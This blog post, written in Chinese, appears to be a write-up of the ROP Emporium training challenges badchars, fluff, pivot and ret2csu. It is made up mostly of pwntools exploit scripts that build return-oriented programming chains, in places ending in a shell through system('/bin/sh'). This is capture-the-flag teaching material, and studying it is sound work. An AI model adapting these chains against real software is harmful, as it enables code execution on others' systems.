0%

ROP Emporium (中)

ROP Emporium 第二部分

badchars#

不可以输入一些可见字符,但是存在异或相关的gadget

因此我们可以先和将/bin/sh\x00与某个数异或后写入缓冲区,然后再通过gadget将其异或回来,最后达成利用

x86#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
'''
8048890: 30 0b xor %cl,(%ebx)
8048892: c3 ret
8048893: 89 37 mov %esi,(%edi)
8048895: c3 ret
8048896: 5b pop %ebx
8048897: 59 pop %ecx
8048898: c3 ret
8048899: 5e pop %esi
804889a: 5f pop %edi
804889b: c3 ret
804889c: 66 90 xchg %ax,%ax
804889e: 66 90 xchg %ax,%ax
'''
context.log_level = 'debug'
s = '/bin/sh\x00'
xor_byte = 0x31
xor_binsh = ''
for i in range(8):
xor_binsh += chr(ord(s[i])^xor_byte)
xor_binsh = xor_binsh.encode()
data_addr = 0x804a038
xor_ptr_ebx_cl_ret = 0x8048890
mov_ptr_edi_esi_ret = 0x8048893
pop_ebx_ecx_ret = 0x8048896
pop_esi_edi_ret = 0x8048899

p = process('./badchars32')
elf = ELF('./badchars32')
system_addr = elf.symbols['system']

payload = b'a'*44

# mov xor_binsh into data
payload += p32(pop_esi_edi_ret)+xor_binsh[0:4]+p32(data_addr)+p32(mov_ptr_edi_esi_ret)
payload += p32(pop_esi_edi_ret)+xor_binsh[4:]+p32(data_addr+4)+p32(mov_ptr_edi_esi_ret)

# xor xor_binsh with 0x30
for i in range(8):
payload += p32(pop_ebx_ecx_ret)+p32(data_addr+i)+p32(xor_byte)+p32(xor_ptr_ebx_cl_ret)

payload += p32(system_addr)+p32(0xdeafbeaf)+p32(data_addr)
p.recvuntil('\n>')
p.sendline(payload)
p.interactive()

x64#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
'''
0000000000400b30 <usefulGadgets>:
400b30: 45 30 37 xor %r14b,(%r15)
400b33: c3 retq
400b34: 4d 89 65 00 mov %r12,0x0(%r13)
400b38: c3 retq
400b39: 5f pop %rdi
400b3a: c3 retq
400b3b: 41 5c pop %r12
400b3d: 41 5d pop %r13
400b3f: c3 retq
400b40: 41 5e pop %r14
400b42: 41 5f pop %r15
400b44: c3 retq
400b45: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
400b4c: 00 00 00
400b4f: 90 nop
'''

from pwn import *

p = process('./badchars')
elf = ELF('./badchars')
system_addr = elf.symbols['system']
data_addr = 0x601070

xor_ptr_r15_r14_ret = 0x400b30
mov_ptr_r13_r12_ret = 0x400b34
pop_rdi_ret = 0x400b39
pop_r12_r13_ret = 0x400b3b
pop_r14_r15_ret = 0x400b40

binsh = '/bin/sh\x00'
xor_byte = 0x44

xor_binsh = ''
for i in range(8):
xor_binsh+=chr(ord(binsh[i])^xor_byte)
xor_binsh = xor_binsh.encode()
payload = b'a'*40
# mov xor_binsh into data

payload += p64(pop_r12_r13_ret)+xor_binsh+p64(data_addr)+p64(mov_ptr_r13_r12_ret)

# xor
for i in range(0,8):
payload += p64(pop_r14_r15_ret)+p64(xor_byte)+p64(data_addr+i)+p64(xor_ptr_r15_r14_ret)

# call system
payload += p64(pop_rdi_ret)+p64(data_addr)+p64(system_addr)

p.recvuntil('>')
p.sendline(payload)
p.interactive()

fluff#

无法一次性写入/bin/sh\x00,所以我们利用gadget可以分次写入

x86#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
'''
08048670 <questionableGadgets>:
8048670: 5f pop %edi
8048671: 31 d2 xor %edx,%edx
8048673: 5e pop %esi
8048674: bd be ba fe ca mov $0xcafebabe,%ebp
8048679: c3 ret
804867a: 5e pop %esi
804867b: 31 da xor %ebx,%edx
804867d: 5d pop %ebp
804867e: bf be ba ad de mov $0xdeadbabe,%edi
8048683: c3 ret
8048684: bf ef be ad de mov $0xdeadbeef,%edi
8048689: 87 ca xchg %ecx,%edx
804868b: 5d pop %ebp
804868c: ba d0 ce fa de mov $0xdefaced0,%edx
8048691: c3 ret
8048692: 5f pop %edi
8048693: 89 11 mov %edx,(%ecx)
8048695: 5d pop %ebp
8048696: 5b pop %ebx
8048697: 30 19 xor %bl,(%ecx)
8048699: c3 ret
804869a: 66 90 xchg %ax,%ax
804869c: 66 90 xchg %ax,%ax
804869e: 66 90 xchg %ax,%ax
'''
from pwn import *
context.log_level = 'debug'
p = process('./fluff32')
elf = ELF('./fluff32')
system_addr = elf.symbols['system']
data_addr = 0x804a028
mov_ptr_ecx_edx= 0x8048693
pop_ebx = 0x80483e1
#pop_ebx = 0x8048696
xor_edx_edx = 0x8048671
xor_edx_ebx = 0x804867b
xchg_edx_ecx = 0x8048689
binsh = b'/bin/sh\x00'
def payload_write(data,addr):
payload = b''

# ecx = addr
payload += p32(xor_edx_edx)+p32(deadbeaf)
payload += p32(pop_ebx)
payload += p32(addr)
payload += p32(xor_edx_ebx)+p32(deadbeaf)
payload += p32(xchg_edx_ecx)+p32(deadbeaf)

# edx = data
payload += p32(xor_edx_edx)+p32(deadbeaf)
payload += p32(pop_ebx)
payload += data
payload += p32(xor_edx_ebx)+p32(deadbeaf)

# ptr[ecx]=data
payload += p32(mov_ptr_ecx_edx)+p32(deadbeaf)+p32(0)
return payload

deadbeaf = 0xdeafbeaf
payload = b'a'*44
payload += payload_write(binsh[0:4],data_addr)
payload += payload_write(binsh[4:],data_addr+4)
payload += p32(system_addr)+p32(deadbeaf)+p32(data_addr)
p.recvuntil('>')
p.sendline(payload)
p.interactive()

x64#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
'''
0000000000400820 <questionableGadgets>:
400820: 41 5f pop %r15
400822: 4d 31 db xor %r11,%r11
400825: 41 5e pop %r14
400827: bf 50 10 60 00 mov $0x601050,%edi
40082c: c3 retq
40082d: 41 5e pop %r14
40082f: 4d 31 e3 xor %r12,%r11
400832: 41 5c pop %r12
400834: 41 bd 60 40 60 00 mov $0x604060,%r13d
40083a: c3 retq
40083b: bf 50 10 60 00 mov $0x601050,%edi
400840: 4d 87 d3 xchg %r10,%r11
400843: 41 5f pop %r15
400845: 41 bb 50 20 60 00 mov $0x602050,%r11d
40084b: c3 retq
40084c: 41 5f pop %r15
40084e: 4d 89 1a mov %r11,(%r10)
400851: 41 5d pop %r13
400853: 41 5c pop %r12
400855: 45 30 22 xor %r12b,(%r10)
400858: c3 retq
400859: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
'''
from pwn import *
context.log_level = 'debug'
p = process('./fluff')
elf = ELF('./fluff')
system_addr = elf.symbols['system']
data_addr = 0x601050

xor_r11_r11 = 0x400822
xor_r11_r12 = 0x40082f
xchg_r11_r10 = 0x400840
mov_ptr_r10_r11 = 0x40084e
pop_r12 = 0x400832

deadbeaf = 0xdeadbeaf
payload = b'a'*40
binsh = b'/bin/sh\x00'
# r10 = addr
payload += p64(xor_r11_r11)+p64(deadbeaf)
payload += p64(pop_r12)
payload += p64(data_addr)
payload += p64(xor_r11_r12)+p64(deadbeaf)
payload += p64(xchg_r11_r10)+p64(deadbeaf)

# r11 = data
payload += p64(xor_r11_r11)+p64(deadbeaf)
payload += p64(pop_r12)
payload += binsh
payload += p64(xor_r11_r12)+p64(deadbeaf)

# [r10] =r11
payload += p64(mov_ptr_r10_r11)+p64(deadbeaf)+p64(0)

payload += p64(0x4008c3)+p64(data_addr)+p64(system_addr)

p.recvuntil('>')
p.sendline(payload)
p.interactive()

pivot#

栈溢出长度太短,因此选择通过stack pivoting达成利用

x86#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level = 'debug'
'''
080488c0 <usefulGadgets>:
80488c0: 58 pop %eax
80488c1: c3 ret
80488c2: 94 xchg %eax,%esp
80488c3: c3 ret
80488c4: 8b 00 mov (%eax),%eax
80488c6: c3 ret
80488c7: 01 d8 add %ebx,%eax
80488c9: c3 ret
80488ca: 66 90 xchg %ax,%ax
80488cc: 66 90 xchg %ax,%ax
80488ce: 66 90 xchg %ax,%ax
'''
p = process('./pivot32')
elf = ELF('./pivot32')
libp = ELF('./libpivot32.so')

foothold_function_plt = elf.plt['foothold_function']
foothold_function_got = elf.got['foothold_function']
foothold_function_addr = libp.symbols['foothold_function']
ret2win_addr = libp.symbols['ret2win']
offset = ret2win_addr - foothold_function_addr

pop_eax= 0x80488c0
xchg_esp_eax = 0x80488c2
mov_ptr_eax_eax = 0x80488c4
add_eax_ebx = 0x80488c7
call_eax = 0x80486a3
pop_ebx=0x8048571
leave_ret = 0x80486a8

p.recvuntil('The Old Gods kindly bestow upon you a place to pivot: ')
pivot_addr = int(p.recv(10),16)
print(hex(pivot_addr))
payload = b''
payload += p32(foothold_function_plt)
payload += p32(pop_eax)
payload += p32(foothold_function_got)
payload += p32(mov_ptr_eax_eax)
payload += p32(pop_ebx)
payload += p32(offset)
payload += p32(add_eax_ebx)
payload += p32(call_eax)

p.sendline(payload)

p.recv()

payload = b'a'*40
payload += p32(pivot_addr-4)
payload += p32(leave_ret)
p.sendline(payload)
p.interactive()

x64#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level = 'debug'
'''
0000000000400ae2 <uselessFunction>:
400ae2: 55 push %rbp
400ae3: 48 89 e5 mov %rsp,%rbp
400ae6: b8 00 00 00 00 mov $0x0,%eax
400aeb: e8 60 fd ff ff callq 400850 <foothold_function@plt>
400af0: bf 01 00 00 00 mov $0x1,%edi
400af5: e8 86 fd ff ff callq 400880 <exit@plt>
400afa: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)

0000000000400b00 <usefulGadgets>:
400b00: 58 pop %rax
400b01: c3 retq
400b02: 48 94 xchg %rax,%rsp
400b04: c3 retq
400b05: 48 8b 00 mov (%rax),%rax
400b08: c3 retq
400b09: 48 01 e8 add %rbp,%rax
400b0c: c3 retq
400b0d: 0f 1f 00 nopl (%rax)
'''
p = process('./pivot')
elf = ELF('./pivot')
libp = ELF('./libpivot.so')

foothold_function_plt = elf.plt['foothold_function']
foothold_function_got = elf.got['foothold_function']
foothold_function_addr = libp.symbols['foothold_function']
ret2win_addr = libp.symbols['ret2win']
offset = ret2win_addr - foothold_function_addr

pop_rax= 0x400b00
xchg_rsp_rax = 0x400b02
mov_ptr_rax_rax = 0x400b05
add_rax_rbp = 0x400b09
call_rax = 0x40098e
pop_rbp=0x400900
leave_ret = 0x400ae0

p.recvuntil('The Old Gods kindly bestow upon you a place to pivot: ')
pivot_addr = int(p.recv(14),16)
print(hex(pivot_addr))
payload = b''
payload += p64(foothold_function_plt)
payload += p64(pop_rax)
payload += p64(foothold_function_got)
payload += p64(mov_ptr_rax_rax)
payload += p64(pop_rbp)
payload += p64(offset)
payload += p64(add_rax_rbp)
payload += p64(call_rax)

p.sendline(payload)

p.recv()

payload = b'a'*40
payload += p64(pop_rax)
payload += p64(pivot_addr)
payload += p64(xchg_rsp_rax)
p.sendline(payload)
p.interactive()

ret2csu#

ret2csu,原理参考ctf-wiki,中级ROP章节。

但是在pwnme函数中,将GOT表都置零了,所以需要先调用frame_init进行初始化

x64#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
'''
0xdeadcafebabebeef
'''

'''
400880: 4c 89 fa mov %r15,%rdx
400883: 4c 89 f6 mov %r14,%rsi
400886: 44 89 ef mov %r13d,%edi
400889: 41 ff 14 dc callq *(%r12,%rbx,8)
40088d: 48 83 c3 01 add $0x1,%rbx
400891: 48 39 dd cmp %rbx,%rbp
400894: 75 ea jne 400880 <__libc_csu_init+0x40>
400896: 48 83 c4 08 add $0x8,%rsp
40089a: 5b pop %rbx
40089b: 5d pop %rbp
40089c: 41 5c pop %r12
40089e: 41 5d pop %r13
4008a0: 41 5e pop %r14
4008a2: 41 5f pop %r15
4008a4: c3 retq
'''

p = process('./ret2csu')

rdx=0xdeadcafebabebeef

init = 0x600E10
csu_1 = 0x400880
csu_2 = 0x40089a
ret2win = 0x4007B1

payload = 0x20*b'a'
payload += p64(0) #rbp
payload += p64(csu_2)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(rdx) #r15
payload += p64(csu_1)
payload += p64(0) #add rsp,8
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(ret2win)
p.sendline(payload)
p.interactive()
坚持原创技术分享,您的支持将鼓励我继续创作!